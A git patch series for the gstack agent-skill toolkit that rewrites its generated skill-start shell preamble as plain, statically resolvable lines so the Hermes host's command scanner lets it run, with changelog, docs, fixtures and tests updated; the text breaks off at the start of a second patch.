From e2d9c798b2a69cd7870513f1d280d757a4e527de Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Sun, 1 Nov 2026 21:02:04 -0800 Subject: [PATCH 1/7] v1.92.57.0 fix(hermes): plain skill-start fence that Tirith can resolve, so Hermes can start gstack skills (GST-882) (#3825) * fix: plain skill-start fence that a static resolver can follow (GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: checked-in renders keep the lookup as plain lines; regenerate goldens, lower size pins (GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test: Codex preamble expectation follows the plain start lookup (GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: pre-landing review fixes (runtime-root header documents the plain skill-start fence, GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: Step 11 review fixes: troubleshooting names the skill-start exception; parity test pins the start lookup to the later-fence root (GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: type the parity test's env so the test typecheck ratchet stays clean (GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * docs: changelog fragment for GST-882 Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test: writing-style Codex fence expectation follows the plain start lookup (GST-882) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 11 ++ VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- docs/troubleshooting.md | 6 +- package.json | 2 +- .../preamble/generate-preamble-bash.ts | 9 +- scripts/resolvers/runtime-root.ts | 46 +++++++- test/fixtures/golden/agy-ship-SKILL.md | 7 +- test/fixtures/golden/codex-ship-SKILL.md | 7 +- test/fixtures/golden/factory-ship-SKILL.md | 7 +- test/fixtures/skill-md-size-allowlist.json | 102 +++++++++--------- test/gen-skill-docs.test.ts | 8 +- test/gstack-skill-start.test.ts | 5 +- test/skill-start-plain.test.ts | 89 +++++++++++++++ test/writing-style-resolver.test.ts | 2 +- 15 files changed, 225 insertions(+), 80 deletions(-) create mode 100644 test/skill-start-plain.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a662182b..f3e5d12f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,16 @@ # Changelog +## [1.92.57.0] - 2026-11-02 + +**Hermes can start gstack skills again (GST-882).** On stock Hermes, the Tirith scanner flagged every gstack skill's first command as HIGH ("Nested executable body could not be resolved"), so `gstack-skill-start` was denied in 8 of 8 trials. Tirith-only findings can't go on Hermes's permanent allowlist, so there was no workaround. The start line Tirith couldn't follow was a grouped fallback that picked the script through a variable. + +### Fixed +- **The skill-start line on Codex, Hermes and the other env-var hosts is plain shell.** A skill installed for one folder (Hermes, and the Codex install `./setup` writes) now checks for that folder's `bin/gstack-skill-start` and then runs it by its literal path. Tirith 0.4.2 allows that line where it blocked the old one. A checked-in render keeps the same lookup order (an exported `GSTACK_ROOT`, then the repo's own install, then the global one) as plain lines, without the `{ …; exit 1;}` group. When no install exists, both print the same "no install found" line with the setup command, and the start command then fails. +- **An install-root render's first block no longer honors an exported `GSTACK_ROOT`.** Tirith blocks any start command picked through a variable. Later blocks still honor it. `docs/troubleshooting.md` names this exception. + +### Tests +- `test/skill-start-plain.test.ts`: on every host and both render kinds, the start fence has no grouped fallback, and a missing install fails loudly under `bash -u`. The install-root start command is a literal path that runs, and a checked-in render finds the global install. On each env-var host, the start lookup picks the same root as later blocks for global, repo-local and exported installs. + ## [1.92.56.0] - 2026-11-02 **`gstack-ship-receipt write` records the session kind on Windows.** Without `--session-kind` or `GSTACK_SESSION_KIND`, it asks the `gstack-session-kind` bash helper. It used to spawn that helper by path, which never starts on Windows, so every /ship receipt there carried no `session_kind`. It now starts the helper through `lib/script-invocation.ts`, which uses Git Bash on Windows. This is the /ship half of #3541. diff --git a/VERSION b/VERSION index dd192841b..49a9e011a 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.56.0 +1.92.57.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index e8c563d3f..87679d15d 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.56.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.57.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 159dda2f4..1e113eb92 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -880,7 +880,11 @@ pick a new `--output`), then copy the recovery file to where you want it. **Meaning.** On Codex, Factory, OpenCode, Cursor, Copilot and Kiro every bash block finds gstack on its own: an exported `GSTACK_ROOT` (with `bin/` and `lib/`), then a repo-local install, then the host's global install -(`$CODEX_HOME/skills/gstack` on Codex). None existed. +(`$CODEX_HOME/skills/gstack` on Codex). None existed. A skill installed for one +folder (Hermes, or the Codex install `./setup` writes) is the exception for its +first block: that block runs the folder's own `bin/gstack-skill-start` and +ignores an exported `GSTACK_ROOT`. When the folder is missing, the block prints +this line and its start command then fails. **Fix.** diff --git a/package.json b/package.json index bd579db43..fa24179e7 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.56", + "version": "1.92.57", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/scripts/resolvers/preamble/generate-preamble-bash.ts b/scripts/resolvers/preamble/generate-preamble-bash.ts index f31997570..87f6f8935 100644 --- a/scripts/resolvers/preamble/generate-preamble-bash.ts +++ b/scripts/resolvers/preamble/generate-preamble-bash.ts @@ -1,6 +1,6 @@ import type { TemplateContext } from '../types'; import { getHostConfig } from '../../../hosts/index'; -import { runtimeRootPrelude } from '../runtime-root'; +import { skillStartLines } from '../runtime-root'; /** * Preamble bootstrap (token-reduction Phase 1). @@ -25,11 +25,10 @@ import { runtimeRootPrelude } from '../runtime-root'; */ export function generatePreambleBash(ctx: TemplateContext): string { const hostConfig = getHostConfig(ctx.host); - const runtimeRoot = hostConfig.usesEnvVars ? `${runtimeRootPrelude(ctx)}\n` : ''; + const start = hostConfig.usesEnvVars ? skillStartLines(ctx) : null; + const runtimeRoot = start ? `${start.lookup}\n` : ''; const brainHealthFlag = ctx.host === 'gbrain' || ctx.host === 'hermes' ? ' --brain-health' : ''; - const startCommand = hostConfig.usesEnvVars - ? `"${ctx.paths.binDir}/gstack-skill-start"` - : `${ctx.paths.binDir}/gstack-skill-start`; + const startCommand = start ? start.command : `${ctx.paths.binDir}/gstack-skill-start`; const entry = ['plan-design-review', 'plan-eng-review'].includes(ctx.skillName) ? `## Preamble (after scope gate) diff --git a/scripts/resolvers/runtime-root.ts b/scripts/resolvers/runtime-root.ts index 31df6b168..ad000e3a0 100644 --- a/scripts/resolvers/runtime-root.ts +++ b/scripts/resolvers/runtime-root.ts @@ -3,8 +3,9 @@ * bash finds gstack on Codex and every other `usesEnvVars` host. * * Those hosts run each fenced block in a fresh shell, so `GSTACK_ROOT`, `B`, - * `D` and `P` set by an earlier block are gone. The preamble's root resolution and - * the per-fence prelude come from `runtimeRootPrelude()`; `insertRuntimePreludes()` + * `D` and `P` set by an earlier block are gone. The preamble's skill-start fence + * comes from `skillStartLines()` and the per-fence prelude from + * `runtimeRootPrelude()`; `insertRuntimePreludes()` * is the single post-render pass (gen-skill-docs, before rewriteInstallRoot) * that puts it into every fence that uses these variables without assigning * them. Claude output is returned unchanged. @@ -13,6 +14,9 @@ * on a per-install render, the literal install root (no git call); otherwise the * repo-local install, then the host's global root (`CODEX_HOME` on Codex). No * root prints one line naming what was tried and the setup command, and exits. + * The skill-start fence differs (GST-882): an install-root render calls the + * literal install root's start script and ignores an exported `GSTACK_ROOT`, and + * with no root either render prints that line and lets the call fail. */ import { getHostConfig } from '../../hosts/index'; import { toShellPath, type TemplateContext } from './types'; @@ -37,13 +41,45 @@ const uses = (name: string) => new RegExp(`\\$\\{?${name}\\b`); */ function resolveRoot(ctx: TemplateContext): string { const host = getHostConfig(ctx.host); - const fix = `Fix: ./setup --host ${host.name} from your gstack checkout; ./setup --status shows it.`; + const fix = installFix(ctx); const exported = '[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||'; if (ctx.installRoot) { return `${exported}{ GSTACK_ROOT="${ctx.installRoot.replace(/\/+$/, '')}";[ -d "$GSTACK_ROOT/bin" ]||{ echo "gstack: no install found (tried $GSTACK_ROOT). ${fix}">&2;exit 1;};}`; } - const global = host.name === 'codex' ? '${CODEX_HOME:-~/.codex}/skills/gstack' : `~/${host.globalRoot}`; - return `${exported}{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/${host.localSkillRoot};[ -d "$_r/bin" ]||_r=${global};[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). ${fix}">&2;exit 1;};GSTACK_ROOT=$_r;}`; + return `${exported}{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/${host.localSkillRoot};[ -d "$_r/bin" ]||_r=${globalRoot(ctx)};[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). ${fix}">&2;exit 1;};GSTACK_ROOT=$_r;}`; +} + +const installFix = (ctx: TemplateContext) => `Fix: ./setup --host ${getHostConfig(ctx.host).name} from your gstack checkout; ./setup --status shows it.`; +const globalRoot = (ctx: TemplateContext) => { + const host = getHostConfig(ctx.host); + return host.name === 'codex' ? '${CODEX_HOME:-~/.codex}/skills/gstack' : `~/${host.globalRoot}`; +}; + +/** + * The skill-start fence on env-var hosts (GST-882). Hermes's Tirith blocks a + * start command it cannot resolve statically, a grouped fallback or a + * variable-selected path alike, and no allowlist entry clears that finding. An + * install-root render therefore names the literal start path; a checked-in + * render keeps resolveRoot's lookup order as plain lines. Either way a missing + * install prints the fix, and the call then fails. + */ +export function skillStartLines(ctx: TemplateContext): { lookup: string; command: string } { + const fix = installFix(ctx); + if (ctx.installRoot) { + const root = ctx.installRoot.replace(/\/+$/, ''); + return { + lookup: `[ -x "${root}/bin/gstack-skill-start" ]||echo "gstack: no install found (tried ${root}). ${fix}">&2`, + command: `"${root}/bin/gstack-skill-start"`, + }; + } + return { + lookup: [ + `[ -d "\${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/${getHostConfig(ctx.host).localSkillRoot}`, + `[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${globalRoot(ctx)}`, + `[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). ${fix}">&2`, + ].join('\n'), + command: '"$GSTACK_ROOT/bin/gstack-skill-start"', + }; } const DERIVED: Record = { BIN: 'bin', BROWSE: 'browse/dist', DESIGN: 'design/dist', MAKE_PDF: 'make-pdf/dist' }; diff --git a/test/fixtures/golden/agy-ship-SKILL.md b/test/fixtures/golden/agy-ship-SKILL.md index 8d7459135..832c00e42 100644 --- a/test/fixtures/golden/agy-ship-SKILL.md +++ b/test/fixtures/golden/agy-ship-SKILL.md @@ -17,9 +17,10 @@ This skill follows gstack shared preamble `6872f1ec4eb9` (AskUserQuestion format ## Preamble (run first) ```bash -[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=~/.gemini/antigravity-cli/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host agy from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;} -GSTACK_BIN=$GSTACK_ROOT/bin -"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "gemini" +[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack +[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=~/.gemini/antigravity-cli/skills/gstack +[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host agy from your gstack checkout; ./setup --status shows it.">&2 +"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "gemini" ``` **Antigravity tool names:** `AskUserQuestion` means your `ask_question` tool (options as choices); there is no `mcp__*__AskUserQuestion` variant. The Bash tool means `run_command`, the Read tool `view_file`, the Write tool `write_to_file`, the Edit tool `replace_file_content` (`multi_replace_file_content` for several edits in one file), Grep `grep_search`, Glob `find_by_name`, and the Agent tool `invoke_subagent`. There is no Skill tool: load a skill by reading its SKILL.md with `view_file`. If a step says to call `ExitPlanMode`, tell the user the plan is ready and wait. `view_file` can return only part of a long file: when a SKILL.md or a file it tells you to read ends before its last line, read the remaining line ranges before acting on it. diff --git a/test/fixtures/golden/codex-ship-SKILL.md b/test/fixtures/golden/codex-ship-SKILL.md index a79b3abb0..3ae35dbb3 100644 --- a/test/fixtures/golden/codex-ship-SKILL.md +++ b/test/fixtures/golden/codex-ship-SKILL.md @@ -17,9 +17,10 @@ This skill follows gstack shared preamble `2af24c2d75e4` (AskUserQuestion format ## Preamble (run first) ```bash -[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=${CODEX_HOME:-~/.codex}/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;} -GSTACK_BIN=$GSTACK_ROOT/bin -"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "gpt" +[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack +[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${CODEX_HOME:-~/.codex}/skills/gstack +[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2 +"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "gpt" ``` Read the echoed `KEY: value` STATUS lines — they drive every preamble rule diff --git a/test/fixtures/golden/factory-ship-SKILL.md b/test/fixtures/golden/factory-ship-SKILL.md index 1099c7e0c..1eabf0836 100644 --- a/test/fixtures/golden/factory-ship-SKILL.md +++ b/test/fixtures/golden/factory-ship-SKILL.md @@ -19,9 +19,10 @@ This skill follows gstack shared preamble `99cd6cb5d373` (AskUserQuestion format ## Preamble (run first) ```bash -[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack;[ -d "$_r/bin" ]||_r=~/.factory/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;} -GSTACK_BIN=$GSTACK_ROOT/bin -"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "claude" +[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack +[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=~/.factory/skills/gstack +[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2 +"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "claude" ``` Read the echoed `KEY: value` STATUS lines — they drive every preamble rule diff --git a/test/fixtures/skill-md-size-allowlist.json b/test/fixtures/skill-md-size-allowlist.json index 2547e6adb..6aaf50c25 100644 --- a/test/fixtures/skill-md-size-allowlist.json +++ b/test/fixtures/skill-md-size-allowlist.json @@ -2,56 +2,56 @@ "_comment": "Generated SKILL.md files over the limit, pinned at their exact character count (#3199). test/skill-md-size-guard.test.ts fails when a pinned skill grows past its pin or shrinks below it: lower the pin when a skill shrinks and delete it once the skill is within the limit. Raising a pin is an owner decision. The shared-preamble hoist (GSTA-96) moved every tier 2+ skill's shared preamble into sections/preamble.md; the pins below are what remains.", "limit": 100000, "pins": { - "agy/gstack-autoplan": 109666, - "agy/gstack-plan-design-review": 109116, - "agy/gstack-plan-devex-review": 114957, - "agy/gstack-plan-eng-review": 143590, - "agy/gstack-review": 104276, - "codex/gstack-autoplan": 108409, - "codex/gstack-plan-design-review": 110473, - "codex/gstack-plan-devex-review": 116465, - "codex/gstack-plan-eng-review": 144755, - "codex/gstack-review": 103799, - "copilot/gstack-autoplan": 109109, - "copilot/gstack-plan-design-review": 109382, - "copilot/gstack-plan-devex-review": 114419, - "copilot/gstack-plan-eng-review": 143755, - "copilot/gstack-review": 103857, - "cursor/gstack-autoplan": 108341, - "cursor/gstack-plan-design-review": 107924, - "cursor/gstack-plan-devex-review": 113689, - "cursor/gstack-plan-eng-review": 142345, - "cursor/gstack-review": 122147, - "factory/gstack-autoplan": 110619, - "factory/gstack-plan-design-review": 111022, - "factory/gstack-plan-devex-review": 117052, - "factory/gstack-plan-eng-review": 145453, - "factory/gstack-review": 125920, - "gbrain/gstack-autoplan": 108748, - "gbrain/gstack-plan-eng-review": 124972, - "gemini/gstack-autoplan": 108899, - "gemini/gstack-plan-design-review": 109210, - "gemini/gstack-plan-devex-review": 114247, - "gemini/gstack-plan-eng-review": 143588, - "gemini/gstack-review": 103679, - "hermes/gstack-autoplan": 108751, - "hermes/gstack-plan-eng-review": 125008, - "kiro/gstack-autoplan": 108115, - "kiro/gstack-plan-design-review": 107770, - "kiro/gstack-plan-devex-review": 113541, - "kiro/gstack-plan-eng-review": 142207, - "kiro/gstack-review": 121971, - "openclaw/gstack-autoplan": 108571, - "openclaw/gstack-plan-eng-review": 123487, - "opencode/gstack-autoplan": 109090, - "opencode/gstack-plan-design-review": 109238, - "opencode/gstack-plan-devex-review": 114297, - "opencode/gstack-plan-eng-review": 143614, - "opencode/gstack-review": 122769, - "slate/gstack-autoplan": 108228, - "slate/gstack-plan-design-review": 107847, - "slate/gstack-plan-devex-review": 113615, - "slate/gstack-plan-eng-review": 142276, - "slate/gstack-review": 122059 + "agy/gstack-autoplan": 109657, + "agy/gstack-plan-design-review": 109107, + "agy/gstack-plan-devex-review": 114948, + "agy/gstack-plan-eng-review": 143581, + "agy/gstack-review": 104267, + "codex/gstack-autoplan": 108400, + "codex/gstack-plan-design-review": 110464, + "codex/gstack-plan-devex-review": 116456, + "codex/gstack-plan-eng-review": 144746, + "codex/gstack-review": 103790, + "copilot/gstack-autoplan": 109100, + "copilot/gstack-plan-design-review": 109373, + "copilot/gstack-plan-devex-review": 114410, + "copilot/gstack-plan-eng-review": 143746, + "copilot/gstack-review": 103848, + "cursor/gstack-autoplan": 108332, + "cursor/gstack-plan-design-review": 107915, + "cursor/gstack-plan-devex-review": 113680, + "cursor/gstack-plan-eng-review": 142336, + "cursor/gstack-review": 122138, + "factory/gstack-autoplan": 110610, + "factory/gstack-plan-design-review": 111013, + "factory/gstack-plan-devex-review": 117043, + "factory/gstack-plan-eng-review": 145444, + "factory/gstack-review": 125911, + "gbrain/gstack-autoplan": 108739, + "gbrain/gstack-plan-eng-review": 124963, + "gemini/gstack-autoplan": 108890, + "gemini/gstack-plan-design-review": 109201, + "gemini/gstack-plan-devex-review": 114238, + "gemini/gstack-plan-eng-review": 143579, + "gemini/gstack-review": 103670, + "hermes/gstack-autoplan": 108742, + "hermes/gstack-plan-eng-review": 124999, + "kiro/gstack-autoplan": 108106, + "kiro/gstack-plan-design-review": 107761, + "kiro/gstack-plan-devex-review": 113532, + "kiro/gstack-plan-eng-review": 142198, + "kiro/gstack-review": 121962, + "openclaw/gstack-autoplan": 108562, + "openclaw/gstack-plan-eng-review": 123478, + "opencode/gstack-autoplan": 109081, + "opencode/gstack-plan-design-review": 109229, + "opencode/gstack-plan-devex-review": 114288, + "opencode/gstack-plan-eng-review": 143605, + "opencode/gstack-review": 122760, + "slate/gstack-autoplan": 108219, + "slate/gstack-plan-design-review": 107838, + "slate/gstack-plan-devex-review": 113606, + "slate/gstack-plan-eng-review": 142267, + "slate/gstack-review": 122050 } } diff --git a/test/gen-skill-docs.test.ts b/test/gen-skill-docs.test.ts index b6296dc27..c932dd13d 100644 --- a/test/gen-skill-docs.test.ts +++ b/test/gen-skill-docs.test.ts @@ -3125,9 +3125,11 @@ describe('Codex generation (--host codex)', () => { expect(content).toContain('_r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack'); expect(content).toContain('_r=${CODEX_HOME:-~/.codex}/skills/gstack'); // Phase 1/2: config reads moved into gstack-skill-start — the fence itself - // is the bin asset the preamble must resolve through $GSTACK_BIN, and the - // question-preference runtime call still resolves the same way. - expect(content).toContain('$GSTACK_BIN/gstack-skill-start'); + // is the bin asset the preamble resolves through the same roots, as plain + // lines (GST-882), and the question-preference runtime call resolves + // through $GSTACK_BIN. + expect(content).toContain('[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${CODEX_HOME:-~/.codex}/skills/gstack'); + expect(content).toContain('"$GSTACK_ROOT/bin/gstack-skill-start"'); expect(content).toContain('$GSTACK_BIN/gstack-question-preference'); // The upgrade-skill doc reference moved into the script's upgrade-flow // block, resolved $0-relative ($_ROOT_DIR) — host-neutral by construction, diff --git a/test/gstack-skill-start.test.ts b/test/gstack-skill-start.test.ts index 1fd895132..3764ba518 100644 --- a/test/gstack-skill-start.test.ts +++ b/test/gstack-skill-start.test.ts @@ -118,7 +118,8 @@ describe('gstack-skill-start contract', () => { // Worktree-isolated Claude Code sessions refuse a start command named by a // variable, a `[ -x ] ||` fallback, or a trailing `|| echo` (reproduced // with the pinned CLI). The Claude render is the literal install path; - // env-var hosts reach the script through $GSTACK_BIN. A missing helper is + // checked-in env-var host renders reach it through $GSTACK_ROOT/bin (an + // install-root render names the literal path, GST-882). A missing helper is // covered by the degraded-mode prose, not a shell fallback. const fence = (text: string) => { const at = text.search(/^## Preamble \((?:run first|after scope gate)\)/m); @@ -130,7 +131,7 @@ describe('gstack-skill-start contract', () => { } for (const host of ['codex', 'gbrain']) { const lines = fence(generatePreamble({ skillName: 'ship', tmplPath: 'ship/SKILL.md.tmpl', host, paths: HOST_PATHS[host], preambleTier: 4 } as TemplateContext)).split('\n'); - expect(lines.at(-1)).toMatch(/^"\$GSTACK_BIN\/gstack-skill-start" --skill "ship" --model "[^"]+"( --brain-health)?$/); + expect(lines.at(-1)).toMatch(/^"\$GSTACK_ROOT\/bin\/gstack-skill-start" --skill "ship" --model "[^"]+"( --brain-health)?$/); expect(lines.join('\n')).not.toMatch(/_SS|\$PPID|\|\| echo|\[ -x/); } }); diff --git a/test/skill-start-plain.test.ts b/test/skill-start-plain.test.ts new file mode 100644 index 000000000..a81ba628a --- /dev/null +++ b/test/skill-start-plain.test.ts @@ -0,0 +1,89 @@ +/** + * GST-882: the skill-start fence must be plain shell a static resolver can + * follow. Hermes's Tirith 0.4.2 blocks a grouped fallback + * (`[ -d … ]||{ …; exit 1;}`) and any variable-selected command with HIGH + * "Nested executable body could not be resolved", which no allowlist entry can + * clear, so every gstack skill start was denied. An install-root render names + * the literal start path; every render keeps a loud failure when gstack is + * missing. + */ +import { describe, expect, test } from 'bun:test'; +import { spawnSync } from 'child_process'; +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; +import { ALL_HOST_CONFIGS } from '../hosts'; +import { generatePreambleBash } from '../scripts/resolvers/preamble/generate-preamble-bash'; +import { insertRuntimePreludes, runtimeRootPrelude } from '../scripts/resolvers/runtime-root'; +import { HOST_PATHS, type TemplateContext } from '../scripts/resolvers/types'; + +const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'gst882-')); +const ctx = (host: string, installRoot: string | null) => + ({ host, paths: HOST_PATHS[host], skillName: 'ship', tmplPath: '', model: 'claude', installRoot }) as TemplateContext; +const startFence = (c: TemplateContext) => insertRuntimePreludes(generatePreambleBash(c), c).match(/```bash\n([\s\S]*?)\n```/)![1]; +const GROUPED = /(?:^|[;&|]\s*)\{\s|exit 1;\s*\}/m; +const sh = (body: string, env: Record, cwd = tmp) => + spawnSync('bash', ['-uc', body], { cwd, encoding: 'utf8', timeout: 10_000, env: { PATH: '/usr/bin:/bin', ...env } }); +function stubStart(root: string) { + fs.mkdirSync(path.join(root, 'bin'), { recursive: true }); + fs.mkdirSync(path.join(root, 'lib'), { recursive: true }); + fs.writeFileSync(path.join(root, 'bin', 'gstack-skill-start'), '#!/bin/sh\necho "STARTED $0 $*"\n', { mode: 0o755 }); +} + +describe('skill-start fence is plain shell on every host (GST-882)', () => { + for (const host of ALL_HOST_CONFIGS) { + for (const installRoot of [null, path.join(tmp, `${host.name}-install`)]) { + const label = `${host.name} ${installRoot ? 'install-root' : 'checked-in'} render`; + test(`${label}: no grouped fallback`, () => { + expect(startFence(ctx(host.name, installRoot))).not.toMatch(GROUPED); + }); + if (!host.usesEnvVars) continue; + test(`${label}: a missing install fails loudly`, () => { + const r = sh(startFence(ctx(host.name, installRoot)), { HOME: path.join(tmp, 'empty-home') }); + expect(r.status).not.toBe(0); + expect(r.stderr).toContain('gstack: no install found'); + expect(r.stderr).toContain(`./setup --host ${host.name}`); + }); + } + if (!host.usesEnvVars) continue; + test(`${host.name} install-root render: the start command is a literal path that runs`, () => { + const root = path.join(tmp, `${host.name}-literal`); + const fence = startFence(ctx(host.name, root)); + const command = fence.split('\n').at(-1)!; + expect(command).toStartWith(`"${root}/bin/gstack-skill-start" --skill "ship"`); + expect(fence).not.toContain('$'); + stubStart(root); + const r = sh(fence, { HOME: path.join(tmp, 'empty-home') }); + expect(r.status, r.stderr).toBe(0); + expect(r.stdout).toContain(`STARTED ${root}/bin/gstack-skill-start --skill ship`); + }); + test(`${host.name} checked-in render: finds the global install`, () => { + const home = path.join(tmp, `${host.name}-home`); + const global = path.join(home, host.name === 'codex' ? '.codex/skills/gstack' : host.globalRoot); + stubStart(global); + const r = sh(startFence(ctx(host.name, null)), { HOME: home }); + expect(r.status, r.stderr).toBe(0); + expect(r.stdout).toContain('STARTED '); + expect(r.stdout).toContain('--skill ship'); + }); + test(`${host.name} checked-in render: the start lookup picks the root later fences pick`, () => { + const base = path.join(tmp, `${host.name}-parity`); + const home = path.join(base, 'home'); + const repo = path.join(base, 'repo'); + const exported = path.join(base, 'exported'); + stubStart(path.join(home, host.name === 'codex' ? '.codex/skills/gstack' : host.globalRoot)); + fs.mkdirSync(repo, { recursive: true }); + spawnSync('git', ['init', '-q', repo], { timeout: 10_000 }); + const c = ctx(host.name, null); + const lookup = startFence(c).split('\n').slice(0, -1).join('\n'); + const root = (body: string, env: Record) => sh(`${body}\necho "ROOT=$GSTACK_ROOT"`, env, repo).stdout.trim().split('\n').at(-1); + for (const layout of ['global', 'repo-local', 'exported']) { + if (layout === 'repo-local') stubStart(path.join(repo, host.localSkillRoot)); + if (layout === 'exported') stubStart(exported); + const env: Record = layout === 'exported' ? { HOME: home, GSTACK_ROOT: exported } : { HOME: home }; + expect(root(lookup, env)).toBe(root(runtimeRootPrelude(c), env)); + if (layout === 'exported') expect(root(lookup, env)).toBe(`ROOT=${exported}`); + } + }); + } +}); diff --git a/test/writing-style-resolver.test.ts b/test/writing-style-resolver.test.ts index 092c2c200..b2adc3621 100644 --- a/test/writing-style-resolver.test.ts +++ b/test/writing-style-resolver.test.ts @@ -94,7 +94,7 @@ describe('Writing Style preamble section', () => { const fenceLine = out.split('\n').find(l => l.includes('gstack-skill-start" --skill')); expect(fenceLine).toBeDefined(); expect(fenceLine).not.toMatch(/~\/\.claude\//); - expect(fenceLine).toContain('$GSTACK_BIN'); + expect(fenceLine).toContain('$GSTACK_ROOT/bin/'); }); test('tier 1 preamble does NOT include Writing Style section', () => { From 924ac4d406b09cda5ee98550bb15adf13a86545a Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Sun, 1 Nov 2026 21:13:19 -0800 Subject: [PATCH 2/7] v1.92.58.0 feat: gstack-autoplan next --ceo-only runs the CEO review alone (GST-537 PR 2) (#3767) * feat(autoplan): --ceo-only runs the CEO review alone with zero questions (GST-537) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: pre-landing review fixes Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test: classify autoplan-ceo-only in the Codex host metadata Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: select autoplan-ceo-only on the skills it runs; say it needs Claude Code Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test: run autoplan-ceo-only in the marathon lane Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * docs: changelog entry for /autoplan --ceo-only Co-authored-by: capy-ai[bot] 